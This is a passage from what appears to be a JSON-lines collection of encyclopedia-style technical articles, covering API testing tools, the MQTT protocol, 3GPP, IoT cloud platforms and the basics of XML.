designing APIs but can also be used for testing. This is worth considering if you're looking for single unified tool.\n\n\n### What are the types of API testing tools?\n\nBroadly, we can identify the following types:\n\n    + **Command-Line**: cURL is an example that can query an API and print out the response. It uses libcurl that can be used in any client-side program. Thus, developers can create their own CLI-based API testing tool using libcurl. Dredd is another CLI tool. On Windows, PowerShell is a good choice.\n    + **Browser-Based**: DHC and Postman are examples that can run within a browser. Compared to CLI tools, they offer a user-friendly interface for testers. Postman was initially delivered as a Chrome App, then a standalone desktop app, and then a web app since September 2020.\n    + **Standalone IDE**: Katalon Studio is an example that supports test case generation, CI/CD integration, and many types of testing (API, Web, Mobile, Desktop). Karate is an example that can be installed as a plugin/extension and used within IDEs/editors such as IntelliJ or Visual Studio Code. It supports API testing, mocks, performance testing and UI automation.\n\n### Could you describe some API testing tools?\n\nKatalon Studio claims to be \"all-in-one test automation solution\". It offers free and enterprise versions. Free version supports basic record and playback, REST and SOAP, OAuth for authentication, different types of testing (keyword-driven, data-driven, BDD), parallel execution, and headless execution. It can also import tests from other tools/frameworks such as Selenium, Postman, JUnit, TestNG, SoapUI and Swagger. \n\nIn Postman, tests can be organized into collections that can be shared with others. API design and maintenance can be done within Postman, which serves as the single source of truth. Multiple APIs can be version controlled and tagged. Mock servers and environments can be created. It can monitor API uptime and responsiveness. Newman is Postman's CLI tool for easy integration into CI/CD pipelines. \n\nAn alternative to Postman is Hoppscotch (previously called Postwoman). It runs within the browser and supports GraphQL. As is common, requests can be customized with authentication, headers, and pre-request script. Assertions are in JavaScript. \n\nOpenAPI.Tools has a list of API testing tools, briefly describing each of them.\n\n\n### What's the syntax that tools use for specifying API tests?\n\nKarate uses Gherkin syntax that was popularized by Cucumber for BDD. REST-assured also supports BDD syntax. \n\nTaurus allows tests to be written in YAML or JSON. \n\nParasoft SOAtest uses visual drag-and-drop. Drag-and-drop method of creating tests is also supported by SoapUI. In addition, SoapUI supports Groovy language, which has a concise expressive syntax for the Java platform. \n\nACCELQ is a cloud-based application for which no code needs to be written. \n\n\n### Which are the API testing tools in various languages?\n\nSome tools support many languages. Postman has code generators in many languages that developers can use. RedwoodHQ is another tool that has support for Java/Groovy, Python and C#. Fiddler supports .NET, Java and Ruby. \n\nAPI testing in Java domain has been traditionally hard. REST-assured simplifies this with support for XML or JSON format in requests and responses. \n\nIn Ruby, Airborne is an option. It relies on RSpec. It works with APIs written in Ruby on Rails. \n\nWebInject is a tool written in Perl and therefore requires a Perl interpreter at runtime. \n\nIn JavaScript, Chakram is a tool based on Node.js, Chai.js and Mocha. It uses BDD syntax. Another tool in JavaScript is Frisby that uses Node.js and Jasmine. \n\nIn Python, pyresttest is applicable. It's also a micro-benchmarking tool. Configuration is in JSON or YAML. Hence, little coding knowledge is needed. \n\n\n### How is artificial intelligence enabling API testing tools?\n\nTest engineers have always found UI testing to be easier than API testing. They may not know how all the software components work together via their APIs. API testing requires better understanding of the software. AI/ML is attempting to remove some of this complexity. One approach is to simply monitor UI tests, discover patterns and then use this knowledge to automatically create API tests. \n\nOne tool that generates API tests is Parasoft SOAtest Smart API Test Generator. It's installed as an add-on to a web browser. For example, in an e-commerce site, it would learn that a cart ID is important across API calls. A human could indicate that number of items in the shopping cart is important. AI would learn this and validate this in future API calls. \n\nOther AI/ML testing tools include Applitools, Testim, Sealights, Test.AI, MABL, Retest, and ReportPortal. AI/ML can catch UI changes and identify them as bugs or features; analyze code changes and execute relevant tests; detect code changes and automatically update existing tests; automate result analysis and defect management. \n\n## Milestones\n\n2000\n\nIt's in this decade that APIs start getting popular, partly due to Salesforce, eBay and Amazon. Due to Agile practices, there's also a need to automate API testing. \n\n2010\n\nIn this decade, focus shifts to scalability. Adoption of DevOps and CI/CD make it necessary to embrace automated API testing. However, even by the end of the decade, many organizations continue with UI testing. \n\nOct  \n2018\n\nParasoft SOAtest 9.10.6 is released. This includes AI/ML capability that's now part of it's Smart API Test Generator. In general, 2018 is the year when tools start including AI/ML. Focus shifts from just test automation to include test generation.","meta":{"title":"API Testing Tools","href":"api-testing-tools"}}
{"text":"# MQTT\n\n## Summary\n\n\nMQTT is a **publish/subscribe** messaging transport protocol. It has low complexity, small code footprint and consumes low network bandwidth for messaging. The lightweight protocol and small packet size support makes it suitable for applications such as Machine to Machine (M2M) and Internet of Things (IoT). \n\nThe protocol runs over network protocols like TCP/IP that provide ordered, lossless, bidirectional connections. MQTT-SN v1.2, MQTT for Sensor Networks (formerly known as MQTT-S), is a version of the protocol targeted for embedded devices on non-TCP/IP networks, such as Zigbee. Connectionless network transports such as User Datagram Protocol (UDP) are not suitable because packets may be lost or arrive out of order. The protocol enables transmit of messages either in 1-to-1 or 1-to-n configuration. The messaging transport is agnostic to the content of the payload.\n\n## Discussion\n\n### What's the expansion for MQTT?\n\nThe published OASIS standard does not give any expansion of MQTT. \n\nMQTT used to mean *MQ Telemetry Transport*, where MQ is sometimes mistaken for Message Queue. In fact, MQ referred to IBM's MQ Series of products. Today, MQTT is not an acronym and it doesn't use traditional message queues. \n\n\n### How does the MQTT protocol work?\n\nMQTT uses **Publish/Subscribe** model or pattern. Publishers publish messages. Subscribers receive messages if they have subscribed to the same. However, publishers and subscribers don't communicate to each other directly. There's an intermediate central **Server** or **Broker** that mediates in between. Broker filters all incoming messages and distributes them to subscribers accordingly. Publishers and subscribers are also called **Clients**.\n\nSubscribers subscribe to messages that are of interest to them. Such filtering could be topic-based, content-based, or type-based. Topics could be organized in a hierarchy. \n\nWith the publish/subscribe pattern, the publisher and subscribers don't need to know each other. They are not dependent on each other for initialization and synchronisation. Message delivery is one-to-many and can scale with respect to subscribers without burdening publishers.\n\nIt will also be apparent that MQTT operates unlike message queues. Messages cannot get stuck in a queue if no one reads them. In message queues, only one consumer can read the message. Message queues are also defined explicitly but in MQTT topics can be created on the fly. \n\n\n### What are the core features of MQTT?\n\nThe core features of MQTT are: \n\n    + Simple to implement: This translates to small code and memory footprint for constrained devices.\n    + Lightweight and network-bandwidth efficient: Payload must be transferred without significant overhead.\n    + Handle abnormal client disconnection: Using what is called **Last Will and Testament (LWT)**, if a client is not sending anything for some time, broker will automatically publish a message. For example, this can be useful to inform subscribers that an IoT device (publisher) is not reachable.\n    + Transport protocol is payload data agnostic: Data can be binary, JSON or any other format.\n    + Provides a Quality-of-Service data delivery: QoS can be selected based on the needs of the application.\n    + Supports continuous session awareness: Sessions can be continued even across intermittent network connections. This implies clients need not subscribe again when they reconnect to server.\n    + **Retained messages**: The last published message (with retained flag set to true) is stored at the broker so that new subscribers can immediately obtain *last known good value* rather than wait for the next update from publisher.\n\n### Why can't I use HTTP instead of MQTT?\n\nAltough popular on the web, HTTP is not suitable for small data packets typical in IoT. HTTP is document-centric whereas MQTT is data-centric. HTTP is a complex protocol. It's textual and therefore parsing HTTP is not trivial. MQTT is binary and encoding/decoding MQTT packets is a lot easier. Because of its publish-subscribe model, data distribution is one-to-many in MQTT whereas in HTTP it's limited to one-to-one. \n\nAn MQTT PUBLISH message header is 2-4 bytes; CONNECT message header is 14 bytes; HTTP header can be up to 1KB. A C implementation of an MQTT client can be as small as 30KB. \n\nMQTT uses less battery power, can send more messages per hour and send them more reliably than HTTPS. MQTT uses more battery power to initiate a connection but this quickly compensated by gains as the connection stays open longer. \n\nIn fact, there are alternatives to MQTT that may be more suitable candidates for comparison than HTTP: AMQP, CoAP, XMPP, DDS, STOMP. \n\n\n### What was MQTT designed for and where is it popularly used today?\n\nIBM originally designed MQTT protocol for communication between oil pipeline stations over low bandwidth satellite links. It was later used for applications such as home automation and message broadcasting to ferries. Other areas where it's used include connected cars, asset tracking, smart metering, process control in manufacturing. \n\nMQTT gained traction in IoT space due to its lightweight protocol. One popular example of its usage is by Facebook for its Facebook Messenger application. \n\n\n### What are the control packets supported in MQTT?\n\nControl packets can be summarized in the following groups: \n\n    + **Connection Management**: CONNECT, CONNACK, DISCONNECT, PINGREQ, PINGRESP\n    + **Subscription Management**: SUBSCRIBE, SUBACK, UNSUBSCRIBE, UNSUBACK\n    + **Message Delivery**: PUBLISH, PUBACK, PUBREC, PUBREL, PUBCOMP\n    + **Authentication**: AUTHAUTH packet was introduced in MQTT version 5.0. PINGREQ is sent from client to server to indicate that client is alive though not sending any other control packet. \n\n\n### What sort of Quality of Service (QoS) does MQTT offer?\n\nMQTT protocol defines three levels of QoS for message delivery: \n\n    + **QoS 0**: At most once delivery. Receiver does not sent a response. Sender does not retry and hence deletes the message locally as soon as it's sent. Message arrives at the receiver once or not at all.\n    + **QoS 1**: At least once delivery. Receiver acknowledges the PUBLISH packet using the PUBACK packet.\n    + **QoS 2**: Exactly once delivery. Neither loss nor packet duplication is acceptable. This QoS level adds protocol overhead and specifies many rules for both sender and receiver. Packets PUBREC, PUBREL and PUBCOMP are involved instead of PUBACK used in QoS 1.Sender will retry on unacknowledged packets only if client reconnects without a clean start and session is present. \n\n\n### Does MQTT support security?\n\nMQTT is a transport protocol that concerns message transmission. So, security features such as privacy of data, authentication and authorization of users, etc. have to be taken care by the developer. MQTT specification provides guidance about possible implementations such as TLS. Security-related aspects that need to be considered could be related to geography, industry or regulations. \n\nTLS/SSL security and payload encryption can be used. The IANA has assigned port 8883 for MQTT over SSL, or secure MQTT over TCP or UDP. Incidentally, port 1883 is for MQTT over TCP or UDP We should note that SSL is not exactly lightweight and adds significant overhead. \n\nSince Version 3.1 of MQTT protocol, there are two provisions: \n\n    + Add username and password in the CONNECT packet\n    + Include return codes in CONNACK packet to report security issuesIn Version 5.0, MQTT adds the AUTH control packet. This can be used to implement complex authentication methods such as SCRAM, Kerberos or OAuth. \n\nThere is a supplemental publication that focuses on MQTT protocol's integration within the NIST Framework for Improving Critical Infrastructure Cybersecurity, simply called *Cybersecurity Framework*. \n\n\n### What are the limiting factors of MQTT to consider while using it?\n\nHere are some limiting factors of MQTT:\n\n    + The structure of the published data is not known to the subscriber. This information should be shared or known beforehand. When topic-based filtering is used, publisher and subscribers must know the right topics to use.\n    + The delivery of a message is not confirmed as there is no automatic confirmation from the recipient. Moreover, the publisher also does not know if there are any subscribers.\n    + MQTT uses TCP, which needs complex handshaking and is not easy on memory and power requirements. Standard states that TCP is a suitable transport and UDP is not. MQTT can also use TLS or WebSocket.\n    + Broker is centralized. This is not only a single point of failure but also can limit scalability. However, real-world implementations overcome this by managing a **distributed broker cluster** that clients see as a single logical broker. Examples of such cluster implementations are HiveMQ, VerneMQ, and EMQ.\n    + MQTT has no built-in security. Developers need to implement security on their own.\n\n### What software implementations of MQTT are available?\n\nSeveral MQTT client libraries are available based on different languages and for supporting varied devices. Broker or server implementations and tools are also available from different vendors as noted on MQTT GitHub Wiki. \n\nEclipse Mosquitto, a MQTT broker implementation, is about 120kB and requires 3MB RAM for 1000 clients connected. \n\nEclipse Paho client offers a number of features: automatic reconnect, offline buffering, message persistence, WebSocket or TCP support, blocking or non-blocking API, and high availability. For embedded devices of limited resources, Paho offers an ANSI standard C compliant library. \n\nRabbitMQ server uses AMQP instead of MQTT but it offers a plugin for MQTT, making AMQP interoperable with MQTT. \n\n## Milestones\n\n1999\n\nMQTT is developed by Andy Stanford-Clark (IBM) and Arlen Nipper (Arcom, later Eurotech). It's used to send sensor data gathered from an oil pipeline. Data is sent to a SCADA host system via low-bandwidth links. \n\nAug  \n2010\n\nIBM releases MQTT V3.1 and makes it available to the public. They define MQTT as,\n\n> A lightweight broker-based publish/subscribe messaging protocol designed to be open, simple, lightweight and easy to implement.\n\nAug  \n2011\n\nFacebook announces in a blog post that their *Facebook Messenger* is using MQTT. Without it, they experienced long latency in the order of seconds. With MQTT, it's down to hundreds of milliseconds. \n\nNov  \n2011\n\nIBM and Eurotech donate MQTT code to the Eclipse Foundation. A month later, Eclipse Foundation releases open source Java and C client code for MQTT. Client-side MQTT code is under the project named **Eclipse Paho**. Today client code from Paho is available in a number of languages. \n\nOct  \n2014\n\nMQTT Version 3.1.1 is officially approved as an OASIS Standard. In June 2016, this is published by ISO as ISO/IEC 20922:2016. \n\nFeb  \n2015\n\nAs MQTT broker implementation, open source **Eclipse Mosquitto 1.4** is released, the first release by the Eclipse Foundation. Version 1.0 of Mosquitto was available as early as 2012. The growth of MQTT can be attributed to the open source nature of Eclipse Paho and Mosquitto. \n\nApr  \n2016\n\nCreated four years earlier by Feng Lee, version 1.0 of **EMQ (Erlang MQTT Broker)** is released. Written in Erlang/OTP, EMQ is open source, distributed, and massively scalable. Messages are routed through clusters that apply *Topic Trie Match* and *Routing Table Lookup*. \n\nMay  \n2018\n\nOASIS releases **MQTT Version 5.0**. It supercedes the previous standard. Eclipse Paho 1.4.0 is expected to support this by June 2018 in C and Java. V5.0 support from Eclipse Mosquitto is expected by August 2018. It's expected that the latest version will go into production systems by Q4 2018. Main changes due to V5.0 are summarized by a HiveMQ blog post.","meta":{"title":"MQTT","href":"mqtt"}}
{"text":"# 3GPP\n\n## Summary\n\n\nThe Third Generation Partnership Project (3GPP) was founded in 1998 to develop and maintain the 3G Mobile System, which is an evolution of GSM. Since then, its scope of work has expanded to technologies that came after 3G, that is, 4G/LTE and 5G. 3GPP also maintains the older GSM specifications. 3GPP aims to address new use cases as they emerge while ensuring compatibility and interoperability.  \n\nPartners or members of 3GPP can participate in the specification process. 3GPP is funded by Organizational Partners, which are national or regional Standards Development Organizations (SDOs). Other associated groups also provide funding. \n\n3GPP publishes technical reports and specifications, which are published as standards by SDOs. The documents they publish are freely available to the public.\n\n## Discussion\n\n### What are the types of memberships at 3GPP?\n\n3GPP has the following types of partnerships or memberships:\n\n    + **Organizational Partners**: These have the authority to define and publish standards regionally or nationally. They bring to 3GPP regional or national requirements, IPR policies and resources to help run 3GPP. Documents produced by 3GPP have no legal standing until they're published by Organizational Partners into corresponding regional or national standards. However, Organizational Partners jointly own the copyright to the technical specifications and reports.\n    + **Market Representation Partners**: These promote 3GPP in their markets. They bring in market requirements. They encourage their members to coordinate activities and contribute towards 3GPP.\n    + **Individual Members**: These can participate at meetings and contribute actively.  To become an individual member, they must first be a member of an Organizational Partner. Members are typically government bodies, regulators, educational/research institutes, network operators, and software/hardware vendors.\n    + **Observers**: These can become Organizational Partners in future. They can attend meetings but can't discuss, decide or lead.\n    + **Guests**: These can become Individual Members in future. Like observers, they've limited privileges.\n\n### Who are the partners and members of 3GPP?\n\nAs on October 2022, 3GPP has 7 Organizational Partners: ARIB, ATIS, CCSA, ETSI, TSDSI, TTA, TTC. In addition, there are 26 Market Representation Partners. Some of these are 5G Americas, GCF, GSA, GSMA, Small Cell Forum, Wireless Broadband Alliance, etc. There are two Observers: Communications Alliance (Australia) and TIA (USA). \n\n3GPP has 800+ Individual Members. Some of these are Airbus, AT&T, Ericsson, Huawei, IIT Bombay, Intel, KDDI, MediaTek, NEC, Ofcom UK, Qualcomm, Rakuten, etc. \n\n\n### How is 3GPP organized?\n\n3GPP consists of one Project Coordination Group (PCG) and a few Technical Specifications Groups (TSGs). Each TSG can establish one or more Working Groups (WGs) under it. \n\nPCG is composed of Organizational Partners and Market Representative Partners. ITU representatives and Observers may also attend their meetings. PCG meets at least twice a year. PCG manages the overall work of 3GPP. It allocates funds and resources. It maintains the registry of Individual Members and relevant IPR declarations. It authorizes requests from TSGs for external liaisons. \n\nTSGs are composed of Individual Members (who are really representatives of Organizational Partners), Market Representation Partners, Observers and Guests. TSGs perform technical coordination including allocating resources, managing work items and tracking progress. \n\n\n### How does 3GPP work?\n\n3GPP meetings happen quarterly. Each TSG has a plenary meeting in which all of its WGs get together. Plenary formally approves all changes proposed at the WGs. Plenary also coordinates activities across WGs. CT, RAN and SA plenary meetings are co-located at the same venue. They happen in March, June, September and December. WG meetings and related ad hoc discussions happen between two plenary meetings. \n\nDuring COVID-19, in-person meetings were replaced with virtual meetings. For example, *RAN5#92-e* (August 2021) was a virtual meeting whereas *RAN5#93* (November 2021) was an in-person meeting. \n\nFollowing the TSG plenary, the 3GPP Mobile Competence Centre (MCC) makes public the updated specifications. Specifications are available per TSG meeting and by series. \n\nTwo documents to understand 3GPP better are 3GPP Working Procedures and TR 21.900: TSG Working Methods.\n\n\n### What types of documents are produced by 3GPP?\n\n3GPP produces Technical Reports (TRs) and Technical Specifications (TSs). Reports contains the findings of feasibility studies. When any new feature is to be introduced, 3GPP commissions a study involving perhaps many WGs across TSGs. Work items are scoped and scheduled in Work Item Description (WID) documents. The study eventually results in new TR/TS or changes existing TR/TS via Change Requests (CRs). WIDs and CRs are just two types of Temporary Documents (TDocs). \n\nDepending on the purpose, CRs fall into categories A-F. CRs introduce a new feature, clarify or enhance an existing feature, or correct an error in frozen specifications. CRs can be withdrawn, rejected, revised or postponed. Multiples CRs can be merged. Each CR is given a identity. For example, *CR 31.102-0095* implies a CR on 31.102 and assigned the number 0095. \n\nEach TR or TS belongs to a specific series and has a version number. For example, *TS 38.101-4 V17.6.0* is a TS belonging to 38-series. The suffix \"-4\" indicates part 4 (parts and subparts are used only for long documents). Version \"17.x.x\" indicates Release 17. \n\n## Milestones\n\nDec  \n1998\n\nThe 3GPP Partnership Project Agreement is signed by **five Organizational Partners**: ARIB (Japan), ETSI (Europe), ATIS Committee T1 (USA), TTA (South Korea) and TTC (Japan). At this time, **four TSGs** are proposed: Radio Access Network, Core Network, Terminals, Service and System Aspects. UMTS Forum in inducted into 3GPP as the **first Market Representation Partner**. \n\nJan  \n1999\n\n**3GPP2** is launched with four Organizational Partners: ARIB (Japan), TIA (USA), TTA (Korea), and TTC (Japan). This is not to be confused with 3GPP. 3GPP standardizes 3G/UMTS as an evolution of GSM. 3GPP2 standardizes IS-2000 (aka CDMA2000) as an evolution of IS-95 (aka cdmaOne). 3GPP2 will specify an evolved core network from ANSI-41.  \n\nMay  \n1999\n\nChina Wireless Telecommunication Standard (CWTS) group is inducted into 3GPP as an Organizational Partner. In May 2003 (and formally signed in April 2004), China Communications Standards Association (CCSA) becomes as an Organizational Partner instead, since CWTS is merged into CCSA. \n\nJul  \n2000\n\nThe scope of 3GPP is modified to include development and maintenance of legacy technologies **GSM, GPRS and EDGE**. \n\nOct  \n2004\n\nPCG approves the creation of **TSG CT** by merging TSG CN and TSG T. To aid this decision, it observes that the terminal and the network deal with two ends of the same protocols. The merger is also expected to bring economies of scale. \n\nDec  \n2007\n\n3GPP Organizational Partners agree to extend the scope of the organization from just 3G to \"evolved Third Generation and beyond\". The agreement notes that they will continue to develop and maintain GSM, GPRS and EDGE. \n\nJan  \n2015\n\nFrom 1st January, the Telecommunications Standards Development Society of India (TSDSI) becomes a full Organizational Partner in 3GPP. The agreement is formally signed in April. \n\nJun  \n2016\n\nTSG GERAN (GSM/EDGE Radio Access Network) is finally closed, its work being transferred to TSG RAN WG5 and WG6.  TSG RAN WG6 oversees GERAN and UTRAN radio and protocol work but is subsequently closed in July 2020.","meta":{"title":"3GPP","href":"3gpp"}}
{"text":"# IoT Cloud Platforms\n\n## Summary\n\n\nIoT cloud platforms bring together capabilities of IoT devices and cloud computing delivered as a end-to-end service. They are also referred by other terms such as *Cloud Service IoT Platform*. In this age, where billions of devices are connected to the Internet, we see increasing potential of tapping big data acquired from these devices and processing them efficiently through various applications.\n\nIoT devices are devices with multiple sensors connected to the cloud, typically via gateways. There are several IoT Cloud Platforms in the market today provided by different service providers that host wide ranging applications. These can also be extended to services that use advanced machine learning algorithms for predictive analysis, especially in disaster prevention and recovering planning using data from the edge devices.\n\n## Discussion\n\n### What are the key features of an IoT cloud platform?\n\nAn IoT cloud platform may be built on top of generic clouds such as those from Microsoft, Amazon, Google or IBM. Network operators such as AT&T, Vodafone and Verizon may offer their own IoT platforms with stronger focus on network connectivity. Platforms could be vertically integrated for specific industries such as oil and gas, logistics and transportation, etc. Device manufacturers such as Samsung (ARTIK Cloud) are also offering their own IoT cloud platforms. \n\nIn most cases, typical features include connectivity and network management, device management, data acquisition, processing analysis and visualization, application enablement, integration and storage. \n\nCloud for IoT can be employed in three ways: Infrastructure-as-a-Service (IaaS), Platform-as-a-Service (PaaS) or Software-as-a-Service (SaaS). Examples of PaaS include GE's Predix, Honeywell's Sentience, Siemens's MindSphere, Cumulocity, Bosch IoT, and Carriots. Developers can deploy, configure and control their apps on PaaS. Prefix is built on top of Microsoft Azure (PaaS). Likewise, MindSphere is built on top of SAP Cloud (PaaS). Siemens's Industrial Machinery Catalyst on the Cloud is an example of SaaS which is a ready-to-use app within minimal maintenance. \n\n\n### Where does cloud fit in with the overall architecture of IoT?\n\nIn general, there are two kinds of IoT software architectures: \n\n    + **Cloud-centric**: Data from IoT devices such as sensors are streamed to a data centre where all the applications that do the analytics and decision making are executed, using real-time and past data from one or more sources. Servers in the cloud control the edge devices too.\n    + **Device-centric**: All the data is processed in the device (sensor nodes, mobile devices, edge gateways), with only some minimal interactions with the cloud for firmware updates or provisioning. Terms such *Edge Computing* and *Fog Computing* are used in this case.Today, for IoT Cloud Platforms, the goal is to stretch the analytics and data processing across Cloud and Device, leveraging the resources at each end seamlessly. In general, we are beginning to see a shift towards leveraging the compute and service capabilities of the cloud to manage IoT devices better. This is also quite evident from a snapshot of the Google Trends showing increasing interest in Cloud compute compared to just IoT.\n\n\n### How is an IoT cloud platform different from traditional cloud infrastructure?\n\nThe traditional cloud infrastructure focuses on a model of cloud computing where a shared pool of hardware and software resources are made available for on-demand access in such a way that they can be easily and rapidly provisioned and released with minimal effort. IoT Cloud Platform extends this capability to resources that are more user-centric, which increases the count and scale of data and devices. The cloud platform services can not only process big data from a wider set of IoT devices, but also provides a smart way to provision and manage each of them in an efficient manner. This also includes fine-grained control, configuration and management of IoT devices. \n\nOne of the IoT Cloud platform differentiators is the ability of the engine to massively scale to handle real-time event processing of large volumes of data generated by various devices and applications. The providers of IoT Cloud Platforms typically work with multiple parties such as hardware vendors (both for cloud services and IoT devices), telecommunication providers, software service providers and system integrators to build the platform.\n\n\n### What exactly is meant by Application Enablement Platform (AEP)?\n\nThe world of IoT is one of variety: many hardware platforms, many communication technologies, many data formats, many verticals, and so on. AEP is a platform that caters to this variety by providing basic capabilities from which developers can build complete end-to-end IoT solutions. For example, AEP might offer location-tracking feature rather than a more restrictive fleet tracking feature. The former is more generic and therefore can be used in a number of use cases. \n\nAEP gives faster time to market without sacrificing on customization and product differentiation. The disadvantage is that users of AEP must have the skill sets to develop the solution. The solution might also suffer from vendor lock-in. \n\nWith AEP, app developers need to worry about scaling up. AEP will take care of communication, data storage, management, application building and enablement, user interface security, and analytics. When selecting an AEP, developers should consider developer usability including good documentation and modular architecture, flexible and scalable deployment, good operational capability, and a mature partnership strategy and ecosystem. \n\nExamples of AEP include ThingWorx Foundation Core, Aeris' AerCloud, and deviceWISE IoT Platform. \n\n\n### Could you list some IoT cloud platforms out there in the industry today?\n\nWith the advent of IoT with billions of devices getting connected to the internet which not only does compute, storage and run applications, there is also a needed to handle large amounts of data coming into the system via the various interfaces such as sensors and user inputs.\n\nHere are some IoT cloud platforms: \n\n    + Amazon Web Services IoT\n    + IBM Watson IoT Platform\n    + Microsoft Azure IoT Hub\n    + Google Cloud IoT\n    + Oracle Integrated Cloud for IoT\n    + SAP Cloud Platform for the Internet of Things\n    + Cisco Jasper Control Center\n    + PTC ThingWorx Industrial IoT Platform\n    + Salesforce IoT\n    + Xively\n    + Carriots\n\n### What factors should I consider when comparing different IoT cloud platforms?\n\nComparison across different platforms depends on both business and technical factors: Scalability, Reliability, Customization, Operations, Protocols, Hardware agnostic, Cloud agnostic, Support, Architecture and Technology Stack, Security and Cost. For example, a comparison of AWS IoT (serverless) and open-source IoT deployed on AWS showed that the former reduces time to market but is expensive at scale. \n\nThe end-to-end requirements and cost-benefit analysis between commercial and open-source solutions need to be considered while choosing the right platform. One way to compare is to look at the best fit to various sectors, viz. Management of various Device, System, Heterogeneity, Data, Deployment, Monitoring and fields of Analytics, Research and Visualization. \n\nEach of these sectors has its own performance criteria such as real time data capture capability, data visualization, cloud model type, data analytics, device configuration, API protocols, and usage cost. Data analytics performance and outcome also depends on factors such as device ingress and device egress, intermediate connectivity network latencies and speeds and support for optimized protocol translations. Visualization of data, filtering of large masses of data and configurability of the millions of devices using smart application tools is another differentiating factor.\n\n\n### What are some challenges of adopting IoT cloud platforms?\n\nSecurity and privacy are the main concerns delaying the adoption of IoT Cloud Platforms. Cloud providers typically will not own the data and are only authorized to do the analytics and control of systems as permitted by the owner of the data. Any breach of data access either during transit or from storage is a concern from privacy and security perspective. Also, since the value of IoT data is immense, proper legal agreements and mechanisms must be in place to ensure the data or outcome of data analysis is only used for the intended purpose by the authorised personnel.\n\nExisting IoT cloud platforms may not always conform to standards, thereby causing interoperability issues. They may also not support heterogeneous modules or communication technologies. When there's too much data, context awareness can help, including decisions of what needs to be done at the edge. Vertical silos continue to exist and this prevents horizontal flow of information. Middleware can solve this problem. Many system continue to use IPv4 and this could be a problem as devices run out of unique IP addresses. \n\n\n### Could you compare IoT components from Amazon, Microsoft and Google?\n\nAmazon Web Services (AWS), Microsoft Azure and Google Cloud Platform (GCP) are generic cloud platforms that have IoT-specific components. These can be compared across various metrics.\n\nAzure offers both PaaS and SaaS options. Its Azure IoT Edge helps with data analysis at the edge. Azure's SDKs are either for running on device or as a service on the cloud. Azure has support for a number of messaging protocols. All platforms provide device SDKs to enable devices to easily authenticate and connect to the cloud. \n\nAmazon FreeRTOS enables sensor nodes to easily connect to cloud while Amazon Greengrass brings cloud capability to edge devices. AWS offers **Device Shadow**, which is a persistent virtual equivalent of the actual device. This is useful if the device goes offline or suffers from intermittent network connectivity. Rules Engine can route messages a variety of AWS endpoints. \n\nGoogle's Cloud IoT Core supports gRPC for efficient binary messaging. It also has hardware partners for easy device integration. \n\n## Milestones\n\nOct  \n1969\n\nAs a U.S. defense project, the ARPANET is launched. By late 1980s, this evolves into a publicly accessible packet-switched network called the Internet. \n\n1989\n\nWhile at CERN, Tim Berners-Lee creates the World Wide Web (WWW) that's uses Internet as its backbone. A year later, he implements the first client and server communication over a network. \n\n1999\n\nKevin Ashton coins the term **Internet-of-Things (IoT)** while making a presentation to Procter & Gamble. He notes that technologies such as sensors and RFIDs are better at tracking things in the real world than humans. \n\n2002\n\nTo enable others to benefit from the technologies at Amazon, Amazon launches **Amazon Web Services (AWS)**, one of the first commercial Cloud Services Platform. With the infrastructure of AWS, businesses could build and manage their websites in a lot easier way. AWS is relaunched in 2006 with the release of Amazon Elastic Compute Cloud (EC2). \n\n2013\n\nIoT cloud platforms have been on the rise since late 2000s. The year 2013 sees a peak in new startups in this space. \n\nJul  \n2016\n\nA market study reveals that there are 450+ companies offering IoT platforms, up from 360 companies in 2015. Not all of these are cloud platforms. A third of them cater to industrial IoT. Niche platforms focus on vertical use cases rather than horizontal cross-industry use cases.","meta":{"title":"IoT Cloud Platforms","href":"iot-cloud-platforms"}}
{"text":"# XML\n\n## Summary\n\n\neXtensible Markup Language (XML) is used to store, transmit, and reconstruct data. It's not a programming language. It's a markup language used to represent data using tags. W3C's XML specifications and other related recommendations help in implementing XML in an interoperable manner.\n\nBy design, XML focuses on generality and usability across the Internet. It supports Unicode that allows communication of information in any written human language. It supports common computer science data structures such as records, lists, and trees. It allows validation using schema languages such as XSD and Schematron. Several schema systems facilitate the definition of XML-based languages. \n\nVerbosity, complexity and redundancy are the major disadvantages of XML.\n\n## Discussion\n\n### What are the essential XML terms?\n\nSome key terms used in XML programming are:\n\n    + **XML Declaration**: XML documents mostly begin with a declaration that gives information about them. An example is `<?xml version=\"1.0\" encoding=\"UTF-8\"?>`.\n    + **Tag**: Tags are basic markups used in XML. They define structure of the document. Each tag begin with character `<` and ends with character `>`. There are three types of tags namely start tag, end tag and empty-element tag.\n    + **Attribute**: It's a name-value pair that exists within a start tag or empty-element tag. Example, in `boy=\"rahul\"` 'boy' is name and the 'rahul' is value.\n    + **Element**: Everything within and including the start tag and the end tag. Everything between these tags is called *element content*.\n    + **Markup & Content**: An XML document is made up of markup and content. Strings that begin and end with characters `<` and `>` are markup. Non-markup strings are content.\n    + **Processor**: It analyzes markup and passes structured information to an application.\n\n### What are some applications of XML?\n\nXML is widely used for interchange of data over the internet. It's also used for formatting documents, web searching and storing configuration data. Document formats such as SVG, RSS, Atom and XHTML have been developed using XML. It serves as the base language for communication protocols such as SOAP and XMPP. It's the message exchange format for the Asynchronous JavaScript and XML (AJAX) programming technique. \n\nMicrosoft Office 2007 introduced XML-based file formats for documents, spreadsheets, presentations, their templates, and more. XML led to smaller files and easier data recovery. Open XML format allowed other tools to interoperate for tasks such as comparing files or removing sensitive information.  \n\nIn the cloud, XML is commonly used. Google Cloud Storage exposes an XML API. Azure has transformation policies to convert API requests and responses between JSON and XML. Application builds and deployments can be configured in XML. Oracle XML DB (on Amazon RDS) natively supports XML. \n\nXML is the base for many industry data standards such as Health Level 7, OpenTravel Alliance, FpML, MISMO, and National Information Exchange Model. \n\n\n### What's a valid well-formed XML document?\n\nXML documents that conform to syntactic rules defined in the W3C Recommendation are said to be **well-formed**. For a document to be **valid**, it should also conform to a Document Type Definition (DTD) or XML Schema. A valid document is necessarily well-formed but the reverse is not true. A well-formed document may be invalid or even without a DTD or schema. \n\nSince the W3C Recommendation defines the syntactic rules, no additional inputs are necessary to check for well-formedness. But to check for validity we need to specify a DTD file in the XML document, such as, `<!DOCTYPE advert SYSTEM \"http://www.foo.org/ad.dtd\">`, where `advert` is the root element. Alternatively, XML Schema may be specified within the document or passed to the parser separately. \n\n\n### What are some important syntactic rules in XML?\n\nEach XML element must have a **closing tag**. Even for an empty-element tag (such as `<author name=\"J Smith\" />`), characters `/>` signify the closing part of the element. In HTML, empty-element tags are used for images, breaks, horizontal lines, inputs, metadata, etc. \n\nXML tags are **case-sensitive**. For example, `<Body>` and `<body>` are two different tags. Hence `</body>` can't be the end tag for `<Body>`. Keywords such as `DOCTYPE` and `ENTITY` must be in uppercase. 